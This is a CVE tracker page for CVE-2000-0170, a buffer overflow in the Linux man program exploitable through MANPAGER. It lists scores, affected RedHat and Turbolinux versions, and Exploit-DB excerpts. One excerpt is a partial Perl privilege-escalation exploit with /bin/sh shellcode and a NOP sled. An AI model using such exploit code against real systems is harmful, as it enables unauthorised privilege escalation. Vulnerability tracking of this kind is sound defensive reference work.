CVE-2000-0170
published 2000-02-26CVE-2000-0170: Buffer overflow in the man program in Linux allows local users to gain privileges via the MANPAGER environmental variable.
PriorityP425high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.99%
78.4th percentile
Buffer overflow in the man program in Linux allows local users to gain privileges via the MANPAGER environmental variable.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| turbolinux | turbolinux | — | — |
| turbolinux | turbolinux | — | — |
| turbolinux | turbolinux | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
RedHat 6.1 - 'man' Local Overflow / Local Privilege Escalation
exploitdb·2001-01-19
CVE-2000-0170 RedHat 6.1 - 'man' Local Overflow / Local Privilege Escalation
RedHat 6.1 - 'man' Local Overflow / Local Privilege Escalation
---
#!/usr/bin/perl
## Redhat 6.1 man exploit - gives egid 15
## Written just for fun - [email protected]
$shellcode = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07".
"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b".
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff".
"\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";
$len = 4062; # -- Sufficient to overwrite EIP.
$nop = "\x90"; # -- x86 NOP.
$ret = 0xbfffbb24; # -- ESP / Return value.
$offset = -800; # -- Default offset to try.
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
# [ Buffer: NNNNNNNNNNNNNN ]
# Add the shellcode to the buffer.
$buffer .= $shellcode;
# [ Buffer: NNNNNNNNNNNNNN
Exploit-DB
RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (2)
exploitdb·2000-02-26
CVE-2000-0170 RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (2)
RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (2)
---
/*
source: https://www.securityfocus.com/bid/1011/info
RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability
A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man.
Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon loo
Exploit-DB
RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (1)
exploitdb·2000-02-26
CVE-2000-0170 RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (1)
RedHat 4.x/5.x/6.x / RedHat man 1.5 / Turbolinux man 1.5 / Turbolinux 3.5/4.x - 'man' Buffer Overrun (1)
---
/*
source: https://www.securityfocus.com/bid/1011/info
RedHat 4.0/4.1/4.2/5.0/5.1/5.2/6.0/6.2,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.2/4.4 man Buffer Overrun Vulnerability
A buffer overflow exists in the implementation of the 'man' program shipped with RedHat Linux, and other LInux vendors. By carefully crafting a long buffer of machine executable code, and placing it in the MANPAGER environmental variable, it becomes possible for a would be attacker to gain egid man.
Using attacks previously outlined by Pawel Wilk, and available in the reference portion of the credit section, it is possible for an attacker to alter manpages such that code will be executed. Upon loo
No writeups or analysis indexed.
2000-02-26
Published